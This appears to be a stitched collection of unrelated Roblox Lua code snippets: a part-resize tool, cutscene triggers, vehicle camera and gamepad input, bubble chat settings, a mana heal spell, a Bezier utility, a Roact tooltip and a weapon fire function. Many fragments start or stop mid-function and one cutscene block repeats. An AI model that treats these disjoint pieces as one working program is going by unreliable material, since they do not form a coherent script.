elseif InputInfo.KeyCode == Enum.KeyCode.KeypadTwo then
NudgeSelectionByFace(Enum.NormalId.Bottom);
-- Nudge forward if the 9 button on the keypad is pressed
elseif InputInfo.KeyCode == Enum.KeyCode.KeypadNine then
NudgeSelectionByFace(Enum.NormalId.Front);
-- Nudge backward if the 1 button on the keypad is pressed
elseif InputInfo.KeyCode == Enum.KeyCode.KeypadOne then
NudgeSelectionByFace(Enum.NormalId.Back);
-- Nudge left if the 4 button on the keypad is pressed
elseif InputInfo.KeyCode == Enum.KeyCode.KeypadFour then
NudgeSelectionByFace(Enum.NormalId.Left);
-- Nudge right if the 6 button on the keypad is pressed
elseif InputInfo.KeyCode == Enum.KeyCode.KeypadSix then
NudgeSelectionByFace(Enum.NormalId.Right);
-- Start snapping when the R key is pressed down, and it's not the selection clearing hotkey
elseif InputInfo.KeyCode == Enum.KeyCode.R and not Selection.Multiselecting then
StartSnapping();
end;
end));
-- Track ending user input while this tool is equipped
table.insert(Connections, UserInputService.InputEnded:Connect(function (InputInfo, GameProcessedEvent)
-- Make sure this is an intentional event
if GameProcessedEvent then
return;
end;
-- Make sure this is input from the keyboard
if InputInfo.UserInputType ~= Enum.UserInputType.Keyboard then
return;
end;
-- Make sure it wasn't pressed while typing
if UserInputService:GetFocusedTextBox() then
return;
end;
-- Finish snapping when the R key is released, and it's not the selection clearing hotkey
if InputInfo.KeyCode == Enum.KeyCode.R and not Selection.Multiselecting then
FinishSnapping();
-- If - key was released, focus on increment input
elseif (InputInfo.KeyCode.Name == 'Minus') or (InputInfo.KeyCode.Name == 'KeypadMinus') then
if ResizeTool.UI then
ResizeTool.UI.IncrementOption.Increment.TextBox:CaptureFocus()
end
end
end));
end;
function SetAxisSize(Axis, Size)
-- Sets the selection's size on axis `Axis` to `Size`
-- Track this change
TrackChange();
-- Prepare parts to be resized
local InitialStates = PreparePartsForResizing();
-- Update each part
for Part, InitialState in pairs(InitialStates) do
-- Set the part's new size
Part.Size = Vector3.new(
Axis == 'X' and Size or Part.Size.X,
Axis == 'Y' and Size or Part.Size.Y,
Axis == 'Z' and Size or Part.Size.Z
);
-- Keep the part in place
Part.CFrame = InitialState.CFrame;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Selection.Parts), Core.Player);
-- Revert changes if player is not authorized to resize parts towards the end destination
if Core.Mode == 'Tool' and Security.ArePartsViolatingAreas(Selection.Parts, Core.Player, false, AreaPermissions) then
for Part, State in pairs(InitialStates) do
Part.Size = State.Size;
Part.CFrame = State.CFrame;
end;
end;
-- Restore the parts' original states
for Part, State in pairs(InitialStates) do
Part:MakeJoints();
Part.CanCollide = State.CanCollide;
Part.Anchored = State.Anchored;
end;
-- Register the change
RegisterChange();
end;
function NudgeSelectionByFace(Face)
-- Nudges the size of the selection in the direction of the given face
-- Get amount to nudge by
local NudgeAmount = ResizeTool.Increment;
-- Reverse nudge amount if shift key is held while nudging
local PressedKeys = Support.FlipTable(Support.GetListMembers(UserInputService:GetKeysPressed(), 'KeyCode'));
if PressedKeys[Enum.KeyCode.LeftShift] or PressedKeys[Enum.KeyCode.RightShift] then
NudgeAmount = -NudgeAmount;
end;
-- Track this change
TrackChange();
-- Prepare parts to be resized
local InitialState = PreparePartsForResizing();
-- Perform the resizing
local Success, Adjustment = ResizePartsByFace(Face, NudgeAmount, ResizeTool.Directions, InitialState);
-- If the resizing did not succeed, resize according to the suggested adjustment
if not Success then
ResizePartsByFace(Face, Adjustment, ResizeTool.Directions, InitialState);
end;
-- Update "studs resized" indicator
if ResizeTool.UI then
ResizeTool.UI.Changes.Text.Text = 'resized ' .. Support.Round(Adjustment or NudgeAmount, 3) .. ' studs';
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Selection.Parts), Core.Player);
-- Revert changes if player is not authorized to resize parts towards the end destination
if Core.Mode == 'Tool' and Security.ArePartsViolatingAreas(Selection.Parts, Core.Player, false, AreaPermissions) then
for Part, State in pairs(InitialState) do
Part.Size = State.Size;
Part.CFrame = State.CFrame;
end;
end;
-- Restore the parts' original states
for Part, State in pairs(InitialState) do
Part:MakeJoints();
Part.CanCollide = State.CanCollide;
Part.Anchored = State.Anchored;
end;
-- Register the change
RegisterChange();
end;
function TrackChange()
-- Start the record
HistoryRecord = {
Parts = Support.CloneTable(Selection.Parts);
BeforeSize = {};
AfterSize = {};
BeforeCFrame = {};
AfterCFrame = {};
Selection = Selection.Items;
Unapply = function (Record)
-- Reverts this change
-- Select the changed parts
Selection.Replace(Record.Selection)
-- Put together the change request
local Changes = {};
for _, Part in pairs(Record.Parts) do
table.insert(Changes, { Part = Part, Size = Record.BeforeSize[Part], CFrame = Record.BeforeCFrame[Part] });
end;
-- Send the change request
Core.SyncAPI:Invoke('SyncResize', Changes);
end;
Apply = function (Record)
-- Applies this change
-- Select the changed parts
Selection.Replace(Record.Selection)
-- Put together the change request
local Changes = {};
for _, Part in pairs(Record.Parts) do
table.insert(Changes, { Part = Part, Size = Record.AfterSize[Part], CFrame = Record.AfterCFrame[Part] });
end;
-- Send the change request
Core.SyncAPI:Invoke('SyncResize', Changes);
end;
};
-- Collect the selection's initial state
for _, Part in pairs(HistoryRecord.Parts) do
HistoryRecord.BeforeSize[Part] = Part.Size;
HistoryRecord.BeforeCFrame[Part] = Part.CFrame;
end;
end;
function RegisterChange()
-- Finishes creating the history record and registers it
-- Make sure there's an in-progress history record
if not HistoryRecord then
return;
end;
-- Collect the selection's final state
local Changes = {};
for _, Part in pairs(HistoryRecord.Parts) do
HistoryRecord.AfterSize[Part] = Part.Size;
HistoryRecord.AfterCFrame[Part] = Part.CFrame;
table.insert(Changes, { Part = Part, Size = Part.Size, CFrame = Part.CFrame });
end;
-- Send the change to the server
Core.SyncAPI:Invoke('SyncResize', Changes);
-- Register the record and clear the staging
Core.History.Add(HistoryRecord);
HistoryRecord = nil;
end;
function PreparePartsForResizing()
-- Prepares parts for resizing and returns the initial state of the parts
local InitialState = {};
-- Stop parts from moving, and capture the initial state of the parts
for _, Part in pairs(Selection.Parts) do
InitialState[Part] = { Anchored = Part.Anchored, CanCollide = Part.CanCollide, Size = Part.Size, CFrame = Part.CFrame };
Part.Anchored = true;
Part.CanCollide = false;
Part:BreakJoints();
Part.Velocity = Vector3.new();
Part.RotVelocity = Vector3.new();
end;
return InitialState;
end;
function GetIncrementMultiple(Number, Increment)
-- Get how far the actual distance is from a multiple of our increment
local MultipleDifference = Number % Increment;
-- Identify the closest lower and upper multiples of the increment
local LowerMultiple = Number - MultipleDifference;
local UpperMultiple = Number - MultipleDifference + Increment;
-- Calculate to which of the two multiples we're closer
local LowerMultipleProximity = math.abs(Number - LowerMultiple);
local UpperMultipleProximity = math.abs(Number - UpperMultiple);
-- Use the closest multiple of our increment as the distance moved
if LowerMultipleProximity <= UpperMultipleProximity then
Number = LowerMultiple;
else
Number = UpperMultiple;
end;
return Number;
end;
|
--!strict
--[[*
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
*
]] |
local Packages = script.Parent.Parent
local LuauPolyfill = require(Packages.LuauPolyfill)
local setTimeout = LuauPolyfill.setTimeout
return function(task)
-- deviation: Replace with setImmediate once we create an equivalent polyfill
return setTimeout(task, 0)
end
|
-- Update the cutscene every render frame |
RunService.RenderStepped:Connect(function(Delta)
Demo:Update(Delta)
end)
if PlayOnPlayerJoin and PlayOnPlayerJoin.Value then
-- Play the cutscene
PlayCutscene()
end
if PlayOnPartTouch then
local part = script.PlayOnPartTouch.Value
if part and part:IsA("BasePart") then
part.Touched:Connect(function(hit)
if hit.Parent == Player.Character then
PlayCutscene()
end
end)
end
PlayOnPartTouch:Destroy()
end
if PlayOnEventFire then
local e = PlayOnEventFire.Value
if e and e:IsA("BindableEvent") then
e.Event:Connect(PlayCutscene)
end
PlayOnEventFire:Destroy()
end
if PlayOnRemoteEventFire then
local e = PlayOnRemoteEventFire.Value
if e and e:IsA("RemoteEvent") then
e.OnClientEvent:Connect(PlayCutscene)
end
PlayOnRemoteEventFire:Destroy()
end
if StopOnRemoteEventFire then
local e = StopOnRemoteEventFire.Value
if e and e:IsA("RemoteEvent") then
e.OnClientEvent:Connect(function()
Demo:Stop()
end)
end
StopOnRemoteEventFire:Destroy()
end
if StopOnRemoteEventFire then
local e = StopOnRemoteEventFire.Value
if e and e:IsA("RemoteEvent") then
e.OnClientEvent:Connect(function()
Demo:Stop()
end)
end
StopOnRemoteEventFire:Destroy()
end
if CutsceneGui then
CutsceneGui.Parent = Player:WaitForChild("PlayerGui")
local SkipCutsceneButton = CutsceneGui:FindFirstChild("SkipCutscene", true)
local PlayCutsceneButton = CutsceneGui:FindFirstChild("PlayCutscene", true)
if SkipCutsceneButton and SkipCutsceneButton:IsA("GuiButton") then
SkipCutsceneButton.MouseButton1Click:Connect(function()
Demo:Stop()
end)
end
if PlayCutsceneButton and PlayCutsceneButton:IsA("GuiButton") then
PlayCutsceneButton.MouseButton1Click:Connect(function()
PlayCutscene()
end)
end
Demo.EStop.Event:Connect(function()
CutsceneGui.Enabled = false
end)
end
local Character = Player.Character or Player.CharacterAdded:Wait()
if PlayOnCharacterAdded and PlayOnCharacterAdded.Value then
PlayCutscene()
end
if PlayOnCharacterDied and PlayOnCharacterDied.Value then
local Humanoid = Character:WaitForChild("Humanoid")
Character:WaitForChild("Humanoid").Died:Connect(function()
PlayCutscene()
end)
end
PlayOnCharacterAdded:Destroy()
|
--print(name .. " [" .. idx .. "] " .. animTable[name][idx].anim.AnimationId .. " (" .. animTable[name][idx].weight .. ")") |
idx = idx + 1
end
end
end
|
---Controller |
local Controller=false
local UserInputService = game:GetService("UserInputService")
local LStickX = 0
local RStickX = 0
local RStickY = 0
local RTriggerValue = 0
local LTriggerValue = 0
local ButtonX = 0
local ButtonY = 0
local ButtonL1 = 0
local ButtonR1 = 0
local ButtonR3 = 0
local DPadUp = 0
function DealWithInput(input,IsRobloxFunction)
if Controller then
if input.KeyCode ==Enum.KeyCode.ButtonX then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonX=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonX=0
end
elseif input.KeyCode ==Enum.KeyCode.ButtonY then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonY=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonY=0
end
elseif input.KeyCode ==Enum.KeyCode.ButtonL1 then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonL1=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonL1=0
end
elseif input.KeyCode ==Enum.KeyCode.ButtonR1 then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonR1=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonR1=0
end
elseif input.KeyCode ==Enum.KeyCode.DPadLeft then
if input.UserInputState == Enum.UserInputState.Begin then
DPadUp=1
elseif input.UserInputState == Enum.UserInputState.End then
DPadUp=0
end
elseif input.KeyCode ==Enum.KeyCode.ButtonR3 then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonR3=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonR3=0
end
end
if input.UserInputType.Name:find("Gamepad") then --it's one of 4 gamepads
if input.KeyCode == Enum.KeyCode.Thumbstick1 then
LStickX = input.Position.X
elseif input.KeyCode == Enum.KeyCode.Thumbstick2 then
RStickX = input.Position.X
RStickY = input.Position.Y
elseif input.KeyCode == Enum.KeyCode.ButtonR2 then--right shoulder
RTriggerValue = input.Position.Z
elseif input.KeyCode == Enum.KeyCode.ButtonL2 then--left shoulder
LTriggerValue = input.Position.Z
end
end
end
end
UserInputService.InputBegan:connect(DealWithInput)
UserInputService.InputChanged:connect(DealWithInput)--keyboards don't activate with Changed, only Begin and Ended. idk if digital controller buttons do too
UserInputService.InputEnded:connect(DealWithInput)
car.DriveSeat.ChildRemoved:connect(function(child)
if child.Name=="SeatWeld" then
for i,v in pairs(Binded) do
run:UnbindFromRenderStep(v)
end
workspace.CurrentCamera.CameraType=Enum.CameraType.Custom
workspace.CurrentCamera.FieldOfView=70
player.CameraMaxZoomDistance=400
getC(car.Misc.Anims,0)
getC(player.Character,0)
end
end)
function Camera()
local cam=workspace.CurrentCamera
local intcam=false
local CRot=0
local CBack=0
local CUp=0
local mode=0
local look=0
local camChange = 0
local function CamUpdate()
if not pcall (function()
if camChange==0 and DPadUp==1 then
intcam = not intcam
end
camChange=DPadUp
if mode==1 then
if math.abs(RStickX)>.1 then
local sPos=1
if RStickX<0 then sPos=-1 end
if intcam then
CRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-80
else
CRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-90
end
else
CRot=0
end
if math.abs(RStickY)>.1 then
local sPos=1
if RStickY<0 then sPos=-1 end
if intcam then
CUp=sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*30
else
CUp=math.min(sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*-75,30)
end
else
CUp=0
end
else
if CRot>look then
CRot=math.max(look,CRot-20)
elseif CRot<look then
CRot=math.min(look,CRot+20)
end
CUp=0
end
if intcam then
CBack=0
else
CBack=-180*ButtonR3
end
if intcam then
getC(car.Misc.Anims,1)
getC(player.Character,1)
cam.CameraSubject=player.Character.Humanoid
cam.CameraType=Enum.CameraType.Scriptable
cam.FieldOfView=80
player.CameraMaxZoomDistance=0
local cf=car.Body.Cam.CFrame
if ButtonR3==1 then
cf=car.Body.RCam.CFrame
end
if apexlook then
look = car.Body.bal.Orientation.Z/3
end
cam.CoordinateFrame=cf*CFrame.Angles(0,math.rad(CRot+CBack),0)*CFrame.Angles(math.rad(CUp),0,math.rad(-car.Body.bal.Orientation.Z))
else
getC(car.Misc.Anims,0)
getC(player.Character,0)
cam.CameraSubject=car.DriveSeat
cam.FieldOfView=70
if mode==0 then
cam.CameraType=Enum.CameraType.Custom
player.CameraMaxZoomDistance=400
run:UnbindFromRenderStep("CamUpdate")
else
cam.CameraType = "Scriptable"
local pspeed = math.min(1,car.DriveSeat.Velocity.Magnitude/500)
local cc = car.DriveSeat.Position+Vector3.new(0,8+(pspeed*2),0)-((car.DriveSeat.CFrame*CFrame.Angles(math.rad(CUp),math.rad(CRot+CBack),0)).lookVector*17)+(car.DriveSeat.Velocity.Unit*-7*pspeed)
cam.CoordinateFrame = CFrame.new(cc,car.DriveSeat.Position)
end
end
end) then
cam.FieldOfView=70
cam.CameraSubject=player.Character.Humanoid
cam.CameraType=Enum.CameraType.Custom
player.CameraMaxZoomDistance=400
run:UnbindFromRenderStep("CamUpdate")
end
end
local function ModeChange()
if GMode~=mode then
mode=GMode
run:BindToRenderStep("CamUpdate",Enum.RenderPriority.Camera.Value,CamUpdate)
end
end
mouse.KeyDown:connect(function(key)
if key=="v" then
run:UnbindFromRenderStep("CamUpdate")
intcam=not intcam
run:BindToRenderStep("CamUpdate",Enum.RenderPriority.Camera.Value,CamUpdate)
end
end)
run:BindToRenderStep("CMChange",Enum.RenderPriority.Camera.Value,ModeChange)
table.insert(Binded,"CamUpdate")
table.insert(Binded,"CMChange")
end
Camera()
mouse.KeyDown:connect(function(key)
if key=="b" then
if GMode>=1 then
GMode=0
else
GMode=GMode+1
end
if GMode==1 then
Controller=true
else
Controller=false
end
end
end)
|
--// Techyfied \\--
-- For info, visit https://devforum.roblox.com/t/623798 --
-- Put in ReplicatedFirst to make it work -- |
local ChatService = game:GetService("Chat") -- Gets the Chat service
ChatService.BubbleChatEnabled = true -- Enables the bubble chat
local settings = {
--[[ DELETE THIS LINE IF YOU HAVE BACKGROUND IMAGE
BackgroundImage = {
Image = "rbxassetid://6733332557",
ScaleType = Enum.ScaleType.Slice,
SliceCenter = Rect.new(40, 40, 360, 160),
SliceScale = 0.5
},
DELETE THIS LINE IF YOU HAVE BACKGROUND IMAGE ]]
--[[ DELETE THIS LINE IF YOU WANT GRADIENT BACKGROUND
BackgroundGradient = {
Enabled = true,
Rotation = 90,
Color = ColorSequence.new(Color3.fromRGB(150, 225, 255), Color3.fromRGB(50, 115, 255)),
Transparency = NumberSequence.new({
NumberSequenceKeypoint.new(0, 0.2),
NumberSequenceKeypoint.new(1, 0.5)
})
},
DELETE THIS LINE IF YOU WANT GRADIENT BACKGROUND]]
BubbleDuration = 15, -- How long the bubble chat should stay on player's head
MaxBubbles = 3, -- How many bubbles can be on a players head at one time
BackgroundColor3 = Color3.fromRGB(250, 250, 250), -- Background Color of the bubblechat
TextColor3 = Color3.fromRGB(57, 59, 61), -- Text Color of the bubble chat
TextSize = 16, -- Text size of the text in bubble chat
Font = Enum.Font.GothamSemibold, -- Font of the text in bubble chat
Transparency = .1, -- Transparency of the bubble chat (0-1)
CornerRadius = UDim.new(0, 12), -- CornerRadius of the bubble chat
TailVisible = true, -- Visiblity of the tail located under bubble chat
Padding = 8, -- Extra Height of each bubble chat (in studs)
MaxWidth = 300, -- Max width possible for the bubble chat (in studs)
VerticalStudsOffset = 0, -- How far (in studs) the bubble will appear from player's head (in studs)
BubblesSpacing = 6, -- Spacing between each bubble chat
MinimizeDistance = 40, -- The minimum distance a player must be to see the bubbles. Else it'll appear like "..."
MaxDistance = 100, -- The maximum distance a player must be to see the bubble chat. If they're far than this, the chat text will appear like "..."
--[[ DELETE THIS LINE IF YOU WANT CUSTOM ANIMATION
SizeAnimation = {
SpringDampingRatio = 0.25
},
TransparencyAnimation = {
SpringFrequency = 3
},
DELETE THIS LINE IF YOU WANT CUSTOM ANIMATION]]
}
pcall(function()
game:GetService("Chat"):SetBubbleChatSettings(settings)
end)
|
--[=[
Utility functions primarily used to bind animations into update loops of the Roblox engine.
@class StepUtils
]=] |
local HttpService = game:GetService("HttpService")
local RunService = game:GetService("RunService")
local StepUtils = {}
|
-- torsoPos = torsoPos * 2 -- Turn Impeded?, off |
-- Distance = 10
end -- if no target?
end -- Logic 0
|
----[[ Color Settings ]] |
module.BackGroundColor = Color3.new(0, 0, 0)
module.DefaultMessageColor = Color3.new(1, 1, 1)
module.DefaultChatColor = Color3.fromRGB(200, 200, 200)
module.DefaultNameColor = Color3.new(1, 1, 1)
module.ChatBarBackGroundColor = Color3.new(0, 0, 0)
module.ChatBarBoxColor = Color3.new(1, 1, 1)
module.ChatBarTextColor = Color3.new(0, 0, 0)
module.ChannelsTabUnselectedColor = Color3.new(0, 0, 0)
module.ChannelsTabSelectedColor = Color3.new(30/255, 30/255, 30/255)
module.DefaultChannelNameColor = Color3.fromRGB(35, 76, 142)
module.WhisperChannelNameColor = Color3.fromRGB(102, 14, 102)
module.ErrorMessageTextColor = Color3.fromRGB(245, 50, 50)
module.DefaultPrefix = ""
module.DefaultPrefixColor = Color3.fromRGB(255,255,255)
|
--AdditionPerIntelligence: Increase to heal power per Intelligence.
--BaseHeal: How much it will heal before any attribute modifiers.
--Cooldown: How long you have to wait before you can cast again.
--ManaCost: The amount of MP needs to cast.
--Offset: The offset to heal amount. (Example: If set to 2, it will randomly add or subtract anything from -2 to +2.) |
Tool = script.Parent
Debris = Game:GetService("Debris")
script.Parent.ToolTip = "Cost: " .. script.Parent.PROPERTIES.ManaCost.Value .. " MP"
function Heal()
Character = Tool.Parent
Player = Game.Players:GetPlayerFromCharacter(Character)
if script.Parent.Enabled == true and Player ~= nil then
if Player.Stats.Mana.Value >= script.Parent.PROPERTIES.ManaCost.Value then
script.Parent.Enabled = false
HealAmount = script.Parent.PROPERTIES.BaseHeal.Value + (script.Parent.PROPERTIES.AdditionPerIntelligence.Value * Player.attributes.Intelligence.Value) + math.random(-script.Parent.PROPERTIES.Offset.Value, script.Parent.PROPERTIES.Offset.Value)
--Heal text
local part = Instance.new("BillboardGui")
part.Size = UDim2.new(0,50,0,100)
part.StudsOffset = Vector3.new(0,2,0)
local part2 = Instance.new("TextLabel")
dt = Game.ReplicatedStorage.DynamicText:Clone()
part2.Font = "SourceSansBold"
part2.FontSize = "Size24"
part2.TextStrokeTransparency = 0
part2.Size = UDim2.new(1,0,1,0)
part2.Position = UDim2.new(0,0,0,0)
part2.BackgroundTransparency = 1
part2.Parent = part
part2.TextColor3 = Color3.new(0, 1, 0)
dt.Parent = part2
dt.Disabled = false
part.Parent = Character.Head
part.Adornee = part.Parent
part2.Text = "+" .. HealAmount
Debris:AddItem(part, 2)
Character.Humanoid.Health = Character.Humanoid.Health + HealAmount
Player.Stats.Mana.Value = Player.Stats.Mana.Value - script.Parent.PROPERTIES.ManaCost.Value
wait(script.Parent.PROPERTIES.Cooldown.Value)
script.Parent.Enabled = true
else print("Insufficient mana!")
end
else print("Either cooldown is in effect or player doesn't exist!")
end
end
script.Parent.Activated:connect(Heal)
|
-- Helps identify side effects in render-phase lifecycle hooks and setState
-- reducers by double invoking them in Strict Mode.
-- ROBLOX TODO: we'll want to enable this for DEV app bundles |
exports.debugRenderPhaseSideEffectsForStrictMode = _G.__DEV__
|
-- The amount the aim will increase or decrease by
-- decreases this number reduces the speed that recoil takes effect |
local AimInaccuracyStepAmount = 0.0125 |
-- changes a BezierPoint in the Bezier
-- only works if the BezierPoint exists in the Bezier |
function Bezier:ChangeBezierPoint(index: number, p: Vector3 | BasePart)
-- check that index is a number
if type(index) ~= "number" then
error("Bezier:ChangeBezierPoint() only accepts a number index as the first argument!")
end
-- check if given value is a Vector3 or BasePart
if p and (typeof(p) == "Instance" and p:IsA("BasePart")) or typeof(p) == "Vector3" then
-- check if the bezier point exists
local BezierPoint = self.Points[index]
if BezierPoint then
-- check type of point and add to bezier
BezierPoint.Type = typeof(p) == "Vector3" and "StaicPoint" or "BasePartPoint";
BezierPoint.Point = p
-- update bezier
self:UpdateLength()
else
-- bezier point does not exist
error("Did not find BezierPoint at index " .. tostring(index))
end
else
-- incorrect type
error("Bezier:ChangeBezierPoint() only accepts a Vector3 or BasePart as the second argument!")
end
end
|
-- Left Arms |
character.RagdollRig.ConstraintLeftUpperArm.Attachment0 = LUA
character.RagdollRig.ConstraintLeftUpperArm.Attachment1 = LUARig
character.RagdollRig.ConstraintLeftLowerArm.Attachment0 = LLA
character.RagdollRig.ConstraintLeftLowerArm.Attachment1 = LLARig
character.RagdollRig.ConstraintLeftHand.Attachment0 = LH
character.RagdollRig.ConstraintLeftHand.Attachment1 = LHRig |
--[[
This script will undo the global market, i.e it will take all of a player's existing
auctions, cancel them, and put the items back into their inventory.
]] | |
-- ================================================================================
-- PUBLIC FUNCTIONS
-- ================================================================================ |
function PilotSeat.new(speeder)
local newPilotSeat = {}
setmetatable(newPilotSeat, PilotSeat)
-- Set speeder and main (PrimaryPart)
newPilotSeat.speeder = speeder
newPilotSeat.main = speeder.PrimaryPart
-- Mass equalizer
SetMassless(newPilotSeat.speeder, newPilotSeat)
SetMass(newPilotSeat.main)
newPilotSeat.mass = GetMass(newPilotSeat.speeder)
SetupCollisionDetection(newPilotSeat.speeder, newPilotSeat)
-- Settings
local _settings = newPilotSeat.main:FindFirstChild("Settings")
assert(_settings, "A Settings script wasn't found. Make sure your finished Model includes a Body part with an attached Setting Script")
newPilotSeat._settings = require(_settings)
newPilotSeat.engine = Engine.new(newPilotSeat)
return newPilotSeat
end -- PilotSeat.new()
function PilotSeat:Destroy()
self.speeder:Destroy()
self.main = false
self.id = false
self.engine = false
end -- PilotSeat:Destroy() |
-- Reference to the configuration module |
local config = require(game.ReplicatedFirst.ClipSettings) -- Assuming the new configuration module is stored in ReplicatedStorage as "Config"
|
-- REMEMBER: THERE'S RESOURCES TO HELP YOU AT https://etithespirit.github.io/FastCastAPIDocs | |
---- \/Lighting\/ |
model = script.Parent
wait(0.5)
currentP = "Off"
script.Parent.Events.Lighting.OnServerEvent:Connect( function(player, pattern)
if script.Parent.Values.Lighting.Value == true then
script.Parent.Values.Lighting.Value = false
else
script.Parent.Values.Lighting.Value = true
end
end) |
-- Create component |
local Tooltip = Roact.PureComponent:extend(script.Name)
function Tooltip:init()
self.FrameSize, self.SetFrameSize = Roact.createBinding(UDim2.new())
self:UpdateTextBounds(self.props.Text)
end
function Tooltip:willUpdate(nextProps)
if self.props.Text ~= nextProps.Text then
self:UpdateTextBounds(nextProps.Text)
end
end
function Tooltip:UpdateTextBounds(Text)
self.TextBounds = TextService:GetTextSize(
Text:gsub('<br />', '\n'):gsub('<.->', ''),
10,
Enum.Font.Gotham,
Vector2.new(math.huge, math.huge)
)
end
function Tooltip:render()
return new('Frame', {
AnchorPoint = Vector2.new(0.5, 0);
BackgroundColor3 = Color3.fromRGB(58, 58, 58);
BackgroundTransparency = 0;
BorderSizePixel = 0;
Position = UDim2.new(0.5, 0, 1, 2);
Size = UDim2.fromOffset(self.TextBounds.X + 20, self.TextBounds.Y + 8);
ZIndex = 2;
Visible = self.props.IsVisible;
}, {
Corners = new('UICorner', {
CornerRadius = UDim.new(0, 3);
});
Arrow = new('Frame', {
AnchorPoint = Vector2.new(0.5, 0.5);
BackgroundColor3 = Color3.fromRGB(58, 58, 58);
BackgroundTransparency = 0;
BorderSizePixel = 0;
Position = UDim2.new(0.5, 0, 0, 0);
Size = UDim2.new(0, 6, 0, 6);
ZIndex = 2;
});
Text = new('TextLabel', {
BackgroundTransparency = 1;
Size = UDim2.new(1, 0, 1, 0);
ZIndex = 2;
Font = Enum.Font.Gotham;
RichText = true;
Text = self.props.Text;
TextColor3 = Color3.fromRGB(255, 255, 255);
TextSize = 10;
TextXAlignment = Enum.TextXAlignment.Center;
TextYAlignment = Enum.TextYAlignment.Center;
});
})
end
return Tooltip
|
--////////////////////////////// Include
--////////////////////////////////////// |
local ChatConstants = require(replicatedModules:WaitForChild("ChatConstants"))
local Util = require(modulesFolder:WaitForChild("Util"))
local ChatLocalization = nil
pcall(function() ChatLocalization = require(game:GetService("Chat").ClientChatModules.ChatLocalization) end)
ChatLocalization = ChatLocalization or {}
if not ChatLocalization.FormatMessageToSend or not ChatLocalization.LocalizeFormattedMessage then
function ChatLocalization:FormatMessageToSend(key,default) return default end
end
|
--[[**
asserts a given check
@param check The function to wrap with an assert
@returns A function that simply wraps the given check in an assert
**--]] |
function t.strict(check)
return function(...)
assert(check(...))
end
end
return t
|
-------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------- |
function onSwimming(speed)
if speed > 1.00 then
local scale = 10.0
playAnimation("swim", 0.4, Humanoid)
setAnimationSpeed(speed / scale)
pose = "Swimming"
else
playAnimation("swimidle", 0.4, Humanoid)
pose = "Standing"
end
end
function animateTool()
if (toolAnim == "None") then
playToolAnimation("toolnone", toolTransitionTime, Humanoid, Enum.AnimationPriority.Idle)
return
end
if (toolAnim == "Slash") then
playToolAnimation("toolslash", 0, Humanoid, Enum.AnimationPriority.Action)
return
end
if (toolAnim == "Lunge") then
playToolAnimation("toollunge", 0, Humanoid, Enum.AnimationPriority.Action)
return
end
end
function getToolAnim(tool)
for _, c in ipairs(tool:GetChildren()) do
if c.Name == "toolanim" and c.className == "StringValue" then
return c
end
end
return nil
end
local lastTick = 0
function stepAnimate(currentTime)
local amplitude = 1
local frequency = 1
local deltaTime = currentTime - lastTick
lastTick = currentTime
local climbFudge = 0
local setAngles = false
if (jumpAnimTime > 0) then
jumpAnimTime = jumpAnimTime - deltaTime
end
if (pose == "FreeFall" and jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
elseif (pose == "Seated") then
playAnimation("sit", 0.5, Humanoid)
return
elseif (pose == "Running") then
playAnimation("walk", 0.2, Humanoid)
elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
stopAllAnimations()
amplitude = 0.1
frequency = 1
setAngles = true
end
-- Tool Animation handling
local tool = Character:FindFirstChildOfClass("Tool")
local requireHandleCheck = not UserSettings():IsUserFeatureEnabled("UserToolR15Fix")
if tool and ((requireHandleCheck and tool.RequiresHandle) or tool:FindFirstChild("Handle")) then
local animStringValueObject = getToolAnim(tool)
if animStringValueObject then
toolAnim = animStringValueObject.Value
-- message recieved, delete StringValue
animStringValueObject.Parent = nil
toolAnimTime = currentTime + .3
end
if currentTime > toolAnimTime then
toolAnimTime = 0
toolAnim = "None"
end
animateTool()
else
stopToolAnimations()
toolAnim = "None"
toolAnimInstance = nil
toolAnimTime = 0
end
end
|
------------------------------------------------------------------------------- |
function tagHumanoid(humanoid)
local plr=game.Players:playerFromCharacter(sp.Parent)
if plr~=nil then
local tag=Instance.new("ObjectValue")
tag.Value=plr
tag.Name="creator"
tag.Parent=humanoid
delay(2,function()
if tag~=nil then
tag.Parent=nil
end
end)
end
end
function reload(mouse)
reloading=true
mouse.Icon=ReloadCursor
while sp.Ammo.Value<ClipSize and reloading and enabled do
wait(ReloadTime/ClipSize)
if reloading then
sp.Ammo.Value=sp.Ammo.Value+1
check()
else
break
end
end
check()
mouse.Icon=Cursors[1]
reloading=false
end
function onKeyDown(key,mouse)
key=key:lower()
if key=="r" and not reloading then
reload(mouse)
end
end
function movecframe(p,pos)
p.Parent=game.Lighting
p.Position=pos
p.Parent=game.Workspace
end
function fire(aim)
sp.Handle.Fire:Play()
t=r.Stepped:wait()
last6=last5
last5=last4
last4=last3
last3=last2
last2=last
last=t
local bullet=Bullet:clone()
local bt2=game.Lighting.BulletTexture:clone()
bt2.BrickColor=BrickColor.new("Bright red")
bt2.Mesh.Scale=Vector3.new(.5,.5,2)
local totalDist=0
Lengthdist=-RayLength/.5
local startpoint=sp.Handle.CFrame*BarrlePos
local dir=(aim)-startpoint
dir=computeDirection(dir)
local cfrm=CFrame.new(startpoint, dir+startpoint)
local hit,pos,normal,time=raycast(game.Workspace, startpoint, cfrm*Vector3.new(0,0,Lengthdist)-startpoint, function(brick)
if brick.Name=="Glass" then
return true
